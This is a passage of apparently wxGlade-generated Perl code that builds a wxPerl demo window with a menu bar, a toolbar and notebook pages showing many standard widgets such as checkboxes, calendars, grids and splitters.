Widgets")); my $icon = &Wx::wxNullIcon; $icon->CopyFromBitmap(Wx::ArtProvider::GetBitmap(wxART_TIP, wxART_OTHER, Wx::Size->new(32, 32))); $self->SetIcon($icon); # Menu Bar $self->{All_Widgets_menubar} = Wx::MenuBar->new(); use constant mn_IDUnix => Wx::NewId(); use constant mn_IDWindows => Wx::NewId(); my $wxglade_tmp_menu; $wxglade_tmp_menu = Wx::Menu->new(); $wxglade_tmp_menu->Append(wxID_OPEN, _T("&Open"), _T("Open an existing document")); $wxglade_tmp_menu->Append(wxID_CLOSE, _T("&Close file"), _T("Close current document")); $wxglade_tmp_menu->AppendSeparator(); $wxglade_tmp_menu->Append(wxID_EXIT, _T("E&xit"), _T("Finish program")); $self->{All_Widgets_menubar}->Append($wxglade_tmp_menu, _T("&File")); $wxglade_tmp_menu = Wx::Menu->new(); $self->{mn_Unix} = $wxglade_tmp_menu->Append(mn_IDUnix, _T("Unix"), _T("Use Unix line endings"), 2); $self->{mn_Windows} = $wxglade_tmp_menu->Append(mn_IDWindows, _T("Windows"), _T("Use Windows line endings"), 2); $wxglade_tmp_menu->AppendSeparator(); $self->{mn_RemoveTabs} = $wxglade_tmp_menu->Append(wxID_ANY, _T("Remove Tabs"), _T("Remove all leading tabs"), 1); $self->{All_Widgets_menubar}->Append($wxglade_tmp_menu, _T("&Edit")); $wxglade_tmp_menu = Wx::Menu->new(); $wxglade_tmp_menu->Append(wxID_HELP, _T("Manual"), _T("Show the application manual")); $wxglade_tmp_menu->AppendSeparator(); $wxglade_tmp_menu->Append(wxID_ABOUT, _T("About"), _T("Show the About dialog")); $self->{All_Widgets_menubar}->Append($wxglade_tmp_menu, _T("&Help")); $self->SetMenuBar($self->{All_Widgets_menubar}); # Menu Bar end $self->{All_Widgets_statusbar} = $self->CreateStatusBar(1, wxSTB_ELLIPSIZE_MIDDLE|wxSTB_SHOW_TIPS|wxSTB_SIZEGRIP); $self->{All_Widgets_statusbar}->SetStatusWidths(-1); # statusbar fields my( @All_Widgets_statusbar_fields ) = ( _T("All Widgets statusbar"), ); if( @All_Widgets_statusbar_fields ) { $self->{All_Widgets_statusbar}->SetStatusText($All_Widgets_statusbar_fields[$_], $_) for 0 .. $#All_Widgets_statusbar_fields ; } # Tool Bar $self->{All_Widgets_toolbar} = Wx::ToolBar->new($self, -1); $self->{All_Widgets_toolbar}->AddTool(wxID_UP, _T("UpDown"), Wx::ArtProvider::GetBitmap(wxART_GO_UP, wxART_OTHER, Wx::Size->new(32, 32)), Wx::ArtProvider::GetBitmap(wxART_GO_DOWN, wxART_OTHER, Wx::Size->new(32, 32)), wxITEM_CHECK, _T("Up or Down"), _T("Up or Down")); $self->{All_Widgets_toolbar}->AddTool(wxID_OPEN, _T("Open"), Wx::Bitmap->new(32, 32), wxNullBitmap, wxITEM_NORMAL, _T("Open a new file"), _T("Open a new file")); $self->SetToolBar($self->{All_Widgets_toolbar}); $self->{All_Widgets_toolbar}->Realize(); # Tool Bar end $self->{sizer_1} = Wx::FlexGridSizer->new(3, 1, 0, 0); $self->{notebook_1} = Wx::Notebook->new($self, wxID_ANY, wxDefaultPosition, wxDefaultSize, wxNB_BOTTOM); $self->{sizer_1}->Add($self->{notebook_1}, 1, wxEXPAND, 0); $self->{notebook_1_wxBitmapButton} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxBitmapButton}, _T("wxBitmapButton")); $self->{sizer_13} = Wx::FlexGridSizer->new(2, 2, 0, 0); $self->{bitmap_button_icon1} = Wx::BitmapButton->new($self->{notebook_1_wxBitmapButton}, wxID_ANY, Wx::Bitmap->new("icon.xpm", wxBITMAP_TYPE_ANY)); $self->{bitmap_button_icon1}->SetSize($self->{bitmap_button_icon1}->GetBestSize()); $self->{bitmap_button_icon1}->SetDefault(); $self->{sizer_13}->Add($self->{bitmap_button_icon1}, 1, wxALL|wxEXPAND, 5); $self->{bitmap_button_empty1} = Wx::BitmapButton->new($self->{notebook_1_wxBitmapButton}, wxID_ANY, Wx::Bitmap->new(10, 10)); $self->{bitmap_button_empty1}->SetSize($self->{bitmap_button_empty1}->GetBestSize()); $self->{bitmap_button_empty1}->SetDefault(); $self->{sizer_13}->Add($self->{bitmap_button_empty1}, 1, wxALL|wxEXPAND, 5); $self->{bitmap_button_icon2} = Wx::BitmapButton->new($self->{notebook_1_wxBitmapButton}, wxID_ANY, Wx::Bitmap->new("icon.xpm", wxBITMAP_TYPE_ANY), wxDefaultPosition, wxDefaultSize, wxBORDER_NONE|wxBU_BOTTOM); $self->{bitmap_button_icon2}->SetBitmapDisabled(Wx::Bitmap->new(32, 32)); $self->{bitmap_button_icon2}->SetSize($self->{bitmap_button_icon2}->GetBestSize()); $self->{bitmap_button_icon2}->SetDefault(); $self->{sizer_13}->Add($self->{bitmap_button_icon2}, 1, wxALL|wxEXPAND, 5); $self->{bitmap_button_art} = Wx::BitmapButton->new($self->{notebook_1_wxBitmapButton}, wxID_ANY, Wx::ArtProvider::GetBitmap(wxART_GO_UP, wxART_OTHER, Wx::Size->new(32, 32)), wxDefaultPosition, wxDefaultSize, wxBORDER_NONE|wxBU_BOTTOM); $self->{bitmap_button_art}->SetSize($self->{bitmap_button_art}->GetBestSize()); $self->{bitmap_button_art}->SetDefault(); $self->{sizer_13}->Add($self->{bitmap_button_art}, 1, wxALL|wxEXPAND, 5); $self->{notebook_1_wxButton} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxButton}, _T("wxButton")); $self->{sizer_28} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{button_3} = Wx::Button->new($self->{notebook_1_wxButton}, wxID_BOLD, ""); $self->{sizer_28}->Add($self->{button_3}, 0, wxALL, 5); $self->{notebook_1_wxCalendarCtrl} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxCalendarCtrl}, _T("wxCalendarCtrl")); $self->{sizer_12} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{calendar_ctrl_1} = Wx::CalendarCtrl->new($self->{notebook_1_wxCalendarCtrl}, wxID_ANY, Wx::DateTime->new, wxDefaultPosition, wxDefaultSize, wxCAL_MONDAY_FIRST|wxCAL_SEQUENTIAL_MONTH_SELECTION|wxCAL_SHOW_SURROUNDING_WEEKS|wxCAL_SHOW_WEEK_NUMBERS); $self->{sizer_12}->Add($self->{calendar_ctrl_1}, 1, wxALL|wxEXPAND, 5); $self->{notebook_1_wxGenericCalendarCtrl} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxGenericCalendarCtrl}, _T("wxGenericCalendarCtrl")); $self->{sizer_27} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{generic_calendar_ctrl_1} = Wx::GenericCalendarCtrl->new($self->{notebook_1_wxGenericCalendarCtrl}, wxID_ANY, Wx::DateTime->new, wxDefaultPosition, wxDefaultSize, wxCAL_MONDAY_FIRST); $self->{sizer_27}->Add($self->{generic_calendar_ctrl_1}, 1, wxALL|wxEXPAND, 5); $self->{notebook_1_wxCheckBox} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxCheckBox}, _T("wxCheckBox")); $self->{sizer_21} = Wx::GridSizer->new(2, 3, 0, 0); $self->{checkbox_1} = Wx::CheckBox->new($self->{notebook_1_wxCheckBox}, wxID_ANY, _T("one (unchecked)")); $self->{sizer_21}->Add($self->{checkbox_1}, 0, wxEXPAND, 0); $self->{checkbox_2} = Wx::CheckBox->new($self->{notebook_1_wxCheckBox}, wxID_ANY, _T("two (checked)")); $self->{checkbox_2}->SetValue(1); $self->{sizer_21}->Add($self->{checkbox_2}, 0, wxEXPAND, 0); $self->{checkbox_3} = Wx::CheckBox->new($self->{notebook_1_wxCheckBox}, wxID_ANY, _T("three"), wxDefaultPosition, wxDefaultSize, wxCHK_2STATE); $self->{sizer_21}->Add($self->{checkbox_3}, 0, wxEXPAND, 0); $self->{checkbox_4} = Wx::CheckBox->new($self->{notebook_1_wxCheckBox}, wxID_ANY, _T("four (unchecked)"), wxDefaultPosition, wxDefaultSize, wxCHK_3STATE); $self->{checkbox_4}->Set3StateValue(wxCHK_UNCHECKED); $self->{sizer_21}->Add($self->{checkbox_4}, 0, wxEXPAND, 0); $self->{checkbox_5} = Wx::CheckBox->new($self->{notebook_1_wxCheckBox}, wxID_ANY, _T("five (checked)"), wxDefaultPosition, wxDefaultSize, wxCHK_3STATE|wxCHK_ALLOW_3RD_STATE_FOR_USER); $self->{checkbox_5}->Set3StateValue(wxCHK_CHECKED); $self->{sizer_21}->Add($self->{checkbox_5}, 0, wxEXPAND, 0); $self->{checkbox_6} = Wx::CheckBox->new($self->{notebook_1_wxCheckBox}, wxID_ANY, _T("six (undetermined)"), wxDefaultPosition, wxDefaultSize, wxCHK_3STATE|wxCHK_ALLOW_3RD_STATE_FOR_USER); $self->{checkbox_6}->Set3StateValue(wxCHK_UNDETERMINED); $self->{sizer_21}->Add($self->{checkbox_6}, 0, wxEXPAND, 0); $self->{notebook_1_wxCheckListBox} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxCheckListBox}, _T("wxCheckListBox")); $self->{sizer_26} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{check_list_box_1} = Wx::CheckListBox->new($self->{notebook_1_wxCheckListBox}, wxID_ANY, wxDefaultPosition, wxDefaultSize, [_T("one"), _T("two"), _T("three"), _T("four")], ); $self->{check_list_box_1}->SetSelection(2); $self->{sizer_26}->Add($self->{check_list_box_1}, 1, wxALL|wxEXPAND, 5); $self->{notebook_1_wxChoice} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxChoice}, _T("wxChoice")); $self->{sizer_5} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{choice_empty} = Wx::Choice->new($self->{notebook_1_wxChoice}, wxID_ANY, wxDefaultPosition, wxDefaultSize, [], ); $self->{sizer_5}->Add($self->{choice_empty}, 1, wxALL, 5); $self->{choice_filled} = Wx::Choice->new($self->{notebook_1_wxChoice}, wxID_ANY, wxDefaultPosition, wxDefaultSize, [_T("Item 1"), _T("Item 2 (pre-selected)")], ); $self->{choice_filled}->SetSelection(1); $self->{sizer_5}->Add($self->{choice_filled}, 1, wxALL, 5); $self->{notebook_1_wxComboBox} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxComboBox}, _T("wxComboBox")); $self->{sizer_6} = Wx::BoxSizer->new(wxVERTICAL); $self->{sizer_7} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{sizer_6}->Add($self->{sizer_7}, 1, wxEXPAND, 0); $self->{combo_box_empty} = Wx::ComboBox->new($self->{notebook_1_wxComboBox}, wxID_ANY, "", wxDefaultPosition, wxDefaultSize, [], 0); $self->{sizer_7}->Add($self->{combo_box_empty}, 1, wxALL, 5); $self->{combo_box_filled} = Wx::ComboBox->new($self->{notebook_1_wxComboBox}, wxID_ANY, "", wxDefaultPosition, wxDefaultSize, [_T("Item 1 (pre-selected)"), _T("Item 2")], 0); $self->{combo_box_filled}->SetSelection(0); $self->{sizer_7}->Add($self->{combo_box_filled}, 1, wxALL, 5); $self->{notebook_1_wxDatePickerCtrl} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxDatePickerCtrl}, _T("wxDatePickerCtrl")); $self->{sizer_17} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{datepicker_ctrl_1} = Wx::DatePickerCtrl->new($self->{notebook_1_wxDatePickerCtrl}, wxID_ANY, Wx::DateTime->new(), wxDefaultPosition, wxDefaultSize, wxDP_SHOWCENTURY); $self->{sizer_17}->Add($self->{datepicker_ctrl_1}, 1, wxALIGN_CENTER_VERTICAL|wxALL, 5); $self->{notebook_1_wxGauge} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxGauge}, _T("wxGauge")); $self->{sizer_15} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{gauge_1} = Wx::Gauge->new($self->{notebook_1_wxGauge}, wxID_ANY, 20); $self->{sizer_15}->Add($self->{gauge_1}, 1, wxALL, 5); $self->{notebook_1_wxGrid} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxGrid}, _T("wxGrid")); $self->{sizer_19} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{grid_1} = Wx::Grid->new($self->{notebook_1_wxGrid}, wxID_ANY); $self->{grid_1}->CreateGrid(10, 3); $self->{grid_1}->SetSelectionMode(wxGridSelectColumns); $self->{grid_1}->SetColLabelValue(1, _T("B\nB")); $self->{sizer_19}->Add($self->{grid_1}, 1, wxEXPAND, 0); $self->{notebook_1_wxHyperlinkCtrl} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxHyperlinkCtrl}, _T("wxHyperlinkCtrl")); $self->{sizer_20} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{hyperlink_1} = Wx::HyperlinkCtrl->new($self->{notebook_1_wxHyperlinkCtrl}, wxID_ANY, _T("Homepage wxGlade"), _T("http://wxglade.sf.net")); $self->{sizer_20}->Add($self->{hyperlink_1}, 0, wxALL, 5); $self->{notebook_1_wxListBox} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxListBox}, _T("wxListBox")); $self->{sizer_4} = Wx::BoxSizer->new(wxVERTICAL); $self->{list_box_empty} = Wx::ListBox->new($self->{notebook_1_wxListBox}, wxID_ANY, wxDefaultPosition, wxDefaultSize, [], 0); $self->{sizer_4}->Add($self->{list_box_empty}, 1, wxALL|wxEXPAND, 5); $self->{list_box_filled} = Wx::ListBox->new($self->{notebook_1_wxListBox}, wxID_ANY, wxDefaultPosition, wxDefaultSize, [_T("Item 1"), _T("Item 2 (pre-selected)")], wxLB_MULTIPLE|wxLB_SORT); $self->{list_box_filled}->SetSelection(1); $self->{sizer_4}->Add($self->{list_box_filled}, 1, wxALL|wxEXPAND, 5); $self->{notebook_1_wxListCtrl} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxListCtrl}, _T("wxListCtrl")); $self->{sizer_3} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{list_ctrl_1} = Wx::ListCtrl->new($self->{notebook_1_wxListCtrl}, wxID_ANY, wxDefaultPosition, wxDefaultSize, wxBORDER_SUNKEN|wxLC_REPORT); $self->{sizer_3}->Add($self->{list_ctrl_1}, 1, wxALL|wxEXPAND, 5); $self->{notebook_1_wxPropertyGridManager} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxPropertyGridManager}, _T("wxPropertyGridManager")); $self->{sizer_34} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{property_grid_2} = Wx::PropertyGridManager->new($self->{notebook_1_wxPropertyGridManager}, wxID_ANY, wxDefaultPosition, wxDefaultSize, wxPG_ALPHABETIC_MODE); $self->{sizer_34}->Add($self->{property_grid_2}, 1, wxALL|wxEXPAND, 5); $self->{notebook_1_wxRadioBox} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxRadioBox}, _T("wxRadioBox")); $self->{grid_sizer_1} = Wx::GridSizer->new(2, 2, 0, 0); $self->{radio_box_empty1} = Wx::RadioBox->new($self->{notebook_1_wxRadioBox}, wxID_ANY, _T("radio_box_empty1"), wxDefaultPosition, wxDefaultSize, [], 1, wxRA_SPECIFY_ROWS); $self->{grid_sizer_1}->Add($self->{radio_box_empty1}, 1, wxALL|wxEXPAND, 5); $self->{radio_box_filled1} = Wx::RadioBox->new($self->{notebook_1_wxRadioBox}, wxID_ANY, _T("radio_box_filled1"), wxDefaultPosition, wxDefaultSize, [_T("choice 1"), _T("choice 2 (pre-selected)"), _T("choice 3")], 0, wxRA_SPECIFY_ROWS); $self->{radio_box_filled1}->SetSelection(1); $self->{grid_sizer_1}->Add($self->{radio_box_filled1}, 1, wxALL|wxEXPAND, 5); $self->{radio_box_empty2} = Wx::RadioBox->new($self->{notebook_1_wxRadioBox}, wxID_ANY, _T("radio_box_empty2"), wxDefaultPosition, wxDefaultSize, [], 1, wxRA_SPECIFY_COLS); $self->{grid_sizer_1}->Add($self->{radio_box_empty2}, 1, wxALL|wxEXPAND, 5); $self->{radio_box_filled2} = Wx::RadioBox->new($self->{notebook_1_wxRadioBox}, wxID_ANY, _T("radio_box_filled2"), wxDefaultPosition, wxDefaultSize, [_T("choice 1"), _T("choice 2 (pre-selected)")], 0, wxRA_SPECIFY_COLS); $self->{radio_box_filled2}->SetSelection(1); $self->{grid_sizer_1}->Add($self->{radio_box_filled2}, 1, wxALL|wxEXPAND, 5); $self->{notebook_1_wxRadioButton} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxRadioButton}, _T("wxRadioButton")); $self->{sizer_8} = Wx::StaticBoxSizer->new(Wx::StaticBox->new($self->{notebook_1_wxRadioButton}, wxID_ANY, _T("My RadioButton Group")), wxHORIZONTAL); $self->{grid_sizer_2} = Wx::FlexGridSizer->new(3, 2, 0, 0); $self->{sizer_8}->Add($self->{grid_sizer_2}, 1, wxEXPAND, 0); $self->{radio_btn_1} = Wx::RadioButton->new($self->{notebook_1_wxRadioButton}, wxID_ANY, _T("Alice"), wxDefaultPosition, wxDefaultSize, wxRB_GROUP); $self->{grid_sizer_2}->Add($self->{radio_btn_1}, 1, wxALL|wxEXPAND, 5); $self->{text_ctrl_1} = Wx::TextCtrl->new($self->{notebook_1_wxRadioButton}, wxID_ANY, ""); $self->{grid_sizer_2}->Add($self->{text_ctrl_1}, 1, wxALL|wxEXPAND, 5); $self->{radio_btn_2} = Wx::RadioButton->new($self->{notebook_1_wxRadioButton}, wxID_ANY, _T("Bob")); $self->{grid_sizer_2}->Add($self->{radio_btn_2}, 1, wxALL|wxEXPAND, 5); $self->{text_ctrl_2} = Wx::TextCtrl->new($self->{notebook_1_wxRadioButton}, wxID_ANY, ""); $self->{grid_sizer_2}->Add($self->{text_ctrl_2}, 1, wxALL|wxEXPAND, 5); $self->{radio_btn_3} = Wx::RadioButton->new($self->{notebook_1_wxRadioButton}, wxID_ANY, _T("Malroy")); $self->{grid_sizer_2}->Add($self->{radio_btn_3}, 1, wxALL|wxEXPAND, 5); $self->{text_ctrl_3} = Wx::TextCtrl->new($self->{notebook_1_wxRadioButton}, wxID_ANY, ""); $self->{grid_sizer_2}->Add($self->{text_ctrl_3}, 1, wxALL|wxEXPAND, 5); $self->{notebook_1_wxSlider} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxSlider}, _T("wxSlider")); $self->{sizer_22} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{slider_1} = Wx::Slider->new($self->{notebook_1_wxSlider}, wxID_ANY, 5, 0, 10, wxDefaultPosition, wxDefaultSize, 0); $self->{sizer_22}->Add($self->{slider_1}, 1, wxALL|wxEXPAND, 5); $self->{notebook_1_wxSpinButton} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxSpinButton}, _T("wxSpinButton (with wxTextCtrl)")); $self->{sizer_16} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{tc_spin_button} = Wx::TextCtrl->new($self->{notebook_1_wxSpinButton}, wxID_ANY, _T("1"), wxDefaultPosition, wxDefaultSize, wxTE_RIGHT); $self->{sizer_16}->Add($self->{tc_spin_button}, 1, wxALL, 5); $self->{spin_button} = Wx::SpinButton->new($self->{notebook_1_wxSpinButton}, wxID_ANY,); $self->{sizer_16}->Add($self->{spin_button}, 1, wxALL, 5); $self->{notebook_1_wxSpinCtrl} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxSpinCtrl}, _T("wxSpinCtrl")); $self->{sizer_14} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{spin_ctrl_1} = Wx::SpinCtrl->new($self->{notebook_1_wxSpinCtrl}, wxID_ANY, "4", wxDefaultPosition, wxDefaultSize, wxALIGN_RIGHT|wxSP_ARROW_KEYS, 0, 100, 4); $self->{sizer_14}->Add($self->{spin_ctrl_1}, 1, wxALL, 5); $self->{notebook_1_wxSplitterWindow_horizontal} = Wx::ScrolledWindow->new($self->{notebook_1}, wxID_ANY, wxDefaultPosition, wxDefaultSize, wxTAB_TRAVERSAL); $self->{notebook_1_wxSplitterWindow_horizontal}->SetScrollRate(10, 10); $self->{notebook_1}->AddPage($self->{notebook_1_wxSplitterWindow_horizontal}, _T("wxSplitterWindow (horizontally)")); $self->{sizer_29} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{splitter_1} = Wx::SplitterWindow->new($self->{notebook_1_wxSplitterWindow_horizontal}, wxID_ANY, wxDefaultPosition, wxDefaultSize, 0); $self->{splitter_1}->SetMinimumPaneSize(20); $self->{sizer_29}->Add($self->{splitter_1}, 1, wxALL|wxEXPAND, 5); $self->{splitter_1_pane_1} = Wx::Panel->new($self->{splitter_1}, wxID_ANY); $self->{sizer_30} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{label_top_pane} = Wx::StaticText->new($self->{splitter_1_pane_1}, wxID_ANY, _T("top pane")); $self->{sizer_30}->Add($self->{label_top_pane}, 1, wxALL|wxEXPAND, 5); $self->{splitter_1_pane_2} = Wx::Panel->new($self->{splitter_1}, wxID_ANY); $self->{sizer_31} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{label_buttom_pane} = Wx::StaticText->new($self->{splitter_1_pane_2}, wxID_ANY, _T("bottom pane")); $self->{sizer_31}->Add($self->{label_buttom_pane}, 1, wxALL|wxEXPAND, 5); $self->{notebook_1_wxSplitterWindow_vertical} = Wx::ScrolledWindow->new($self->{notebook_1}, wxID_ANY, wxDefaultPosition, wxDefaultSize, wxTAB_TRAVERSAL); $self->{notebook_1_wxSplitterWindow_vertical}->SetScrollRate(10, 10); $self->{notebook_1}->AddPage($self->{notebook_1_wxSplitterWindow_vertical}, _T("wxSplitterWindow (vertically)")); $self->{sizer_25} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{splitter_2} = Wx::SplitterWindow->new($self->{notebook_1_wxSplitterWindow_vertical}, wxID_ANY, wxDefaultPosition, wxDefaultSize, 0); $self->{splitter_2}->SetMinimumPaneSize(20); $self->{sizer_25}->Add($self->{splitter_2}, 1, wxALL|wxEXPAND, 5); $self->{splitter_2_pane_1} = Wx::Panel->new($self->{splitter_2}, wxID_ANY); $self->{sizer_32} = Wx::BoxSizer->new(wxVERTICAL); $self->{label_left_pane} = Wx::StaticText->new($self->{splitter_2_pane_1}, wxID_ANY, _T("left pane")); $self->{sizer_32}->Add($self->{label_left_pane}, 1, wxALL|wxEXPAND, 5); $self->{splitter_2_pane_2} = Wx::Panel->new($self->{splitter_2}, wxID_ANY); $self->{sizer_33} = Wx::BoxSizer->new(wxVERTICAL); $self->{label_right_pane} = Wx::StaticText->new($self->{splitter_2_pane_2}, wxID_ANY, _T("right pane")); $self->{sizer_33}->Add($self->{label_right_pane}, 1, wxALL|wxEXPAND, 5); $self->{notebook_1_wxStaticBitmap} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxStaticBitmap}, _T("wxStaticBitmap")); $self->{sizer_11} = Wx::BoxSizer->new(wxVERTICAL); $self->{bitmap_empty} = Wx::StaticBitmap->new($self->{notebook_1_wxStaticBitmap}, wxID_ANY, Wx::Bitmap->new(32, 32)); $self->{sizer_11}->Add($self->{bitmap_empty}, 1, wxALL|wxEXPAND, 5); $self->{bitmap_file} = Wx::StaticBitmap->new($self->{notebook_1_wxStaticBitmap}, wxID_ANY, Wx::Bitmap->new("icon.xpm", wxBITMAP_TYPE_ANY)); $self->{sizer_11}->Add($self->{bitmap_file}, 1, wxALL|wxEXPAND, 5); $self->{bitmap_nofile} = Wx::StaticBitmap->new($self->{notebook_1_wxStaticBitmap}, wxID_ANY, Wx::Bitmap->new("non-existing.bmp", wxBITMAP_TYPE_ANY)); $self->{sizer_11}->Add($self->{bitmap_nofile}, 1, wxALL|wxEXPAND, 5); $self->{bitmap_art} = Wx::StaticBitmap->new($self->{notebook_1_wxStaticBitmap}, wxID_ANY, Wx::ArtProvider::GetBitmap(wxART_PRINT, wxART_OTHER, Wx::Size->new(32, 32))); $self->{sizer_11}->Add($self->{bitmap_art}, 1, wxALL|wxEXPAND, 5); $self->{bitmap_null} = Wx::StaticBitmap->new($self->{notebook_1_wxStaticBitmap}, wxID_ANY, wxNullBitmap); $self->{sizer_11}->Add($self->{bitmap_null}, 1, wxALL|wxEXPAND, 5); $self->{bitmap_null_sized} = Wx::StaticBitmap->new($self->{notebook_1_wxStaticBitmap}, wxID_ANY, wxNullBitmap); $self->{bitmap_null_sized}->SetMinSize(Wx::Size->new(50, 50)); $self->{sizer_11}->Add($self->{bitmap_null_sized}, 1, wxALL|wxEXPAND, 5); $self->{notebook_1_wxStaticLine} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxStaticLine}, _T("wxStaticLine")); $self->{sizer_9} = Wx::BoxSizer->new(wxVERTICAL); $self->{sizer_10} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{sizer_9}->Add($self->{sizer_10}, 1, wxEXPAND, 0); $self->{static_line_2} = Wx::StaticLine->new($self->{notebook_1_wxStaticLine}, wxID_ANY, wxDefaultPosition, wxDefaultSize, wxLI_VERTICAL); $self->{sizer_10}->Add($self->{static_line_2}, 1, wxALL|wxEXPAND, 5); $self->{static_line_3} = Wx::StaticLine->new($self->{notebook_1_wxStaticLine}, wxID_ANY, wxDefaultPosition, wxDefaultSize, wxLI_VERTICAL); $self->{sizer_10}->Add($self->{static_line_3}, 1, wxALL|wxEXPAND, 5); $self->{static_line_4} = Wx::StaticLine->new($self->{notebook_1_wxStaticLine}, wxID_ANY); $self->{sizer_9}->Add($self->{static_line_4}, 1, wxALL|wxEXPAND, 5); $self->{static_line_5} = Wx::StaticLine->new($self->{notebook_1_wxStaticLine}, wxID_ANY); $self->{sizer_9}->Add($self->{static_line_5}, 1, wxALL|wxEXPAND, 5); $self->{notebook_1_wxStaticText} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxStaticText}, _T("wxStaticText")); $self->{grid_sizer_3} = Wx::FlexGridSizer->new(1, 3, 0, 0); $self->{label_1} = Wx::StaticText->new($self->{notebook_1_wxStaticText}, wxID_ANY, _T("red text (RGB)"), wxDefaultPosition, wxDefaultSize, wxALIGN_CENTER_HORIZONTAL); $self->{label_1}->SetForegroundColour(Wx::Colour->new(255, 0, 0)); $self->{grid_sizer_3}->Add($self->{label_1}, 1, wxALL|wxEXPAND, 5); $self->{label_4} = Wx::StaticText->new($self->{notebook_1_wxStaticText}, wxID_ANY, _T("black on red (RGB)"), wxDefaultPosition, wxDefaultSize, wxALIGN_CENTER_HORIZONTAL); $self->{label_4}->SetBackgroundColour(Wx::Colour->new(255, 0, 0)); $self->{label_4}->SetToolTip(_T("Background colour won't show, check documentation for more details")); $self->{grid_sizer_3}->Add($self->{label_4}, 1, wxALL|wxEXPAND, 5); $self->{label_5} = Wx::StaticText->new($self->{notebook_1_wxStaticText}, wxID_ANY, _T("green on pink (RGB)"), wxDefaultPosition, wxDefaultSize, wxALIGN_CENTER_HORIZONTAL); $self->{label_5}->SetBackgroundColour(Wx::Colour->new(255, 0, 255)); $self->{label_5}->SetForegroundColour(Wx::Colour->new(0, 255, 0)); $self->{label_5}->SetToolTip(_T("Background colour won't show, check documentation for more details")); $self->{grid_sizer_3}->Add($self->{label_5}, 1, wxALL|wxEXPAND, 5); $self->{notebook_1_Spacer} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_Spacer}, _T("Spacer")); $self->{grid_sizer_4} = Wx::FlexGridSizer->new(1, 3, 0, 0); $self->{label_3} = Wx::StaticText->new($self->{notebook_1_Spacer}, wxID_ANY, _T("Two labels with a")); $self->{grid_sizer_4}->Add($self->{label_3}, 1, wxALL|wxEXPAND, 5); $self->{grid_sizer_4}->Add(60, 20, 1, wxALL|wxEXPAND, 5); $self->{label_2} = Wx::StaticText->new($self->{notebook_1_Spacer}, wxID_ANY, _T("spacer between")); $self->{grid_sizer_4}->Add($self->{label_2}, 1, wxALL|wxEXPAND, 5); $self->{notebook_1_wxTextCtrl} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxTextCtrl}, _T("wxTextCtrl")); $self->{sizer_18} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{text_ctrl} = Wx::TextCtrl->new($self->{notebook_1_wxTextCtrl}, wxID_ANY, _T("This\nis\na\nmultiline\nwxTextCtrl"), wxDefaultPosition, wxDefaultSize, wxTE_CHARWRAP|wxTE_MULTILINE|wxTE_WORDWRAP); $self->{sizer_18}->Add($self->{text_ctrl}, 1, wxALL|wxEXPAND, 5); $self->{notebook_1_wxToggleButton} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxToggleButton}, _T("wxToggleButton")); 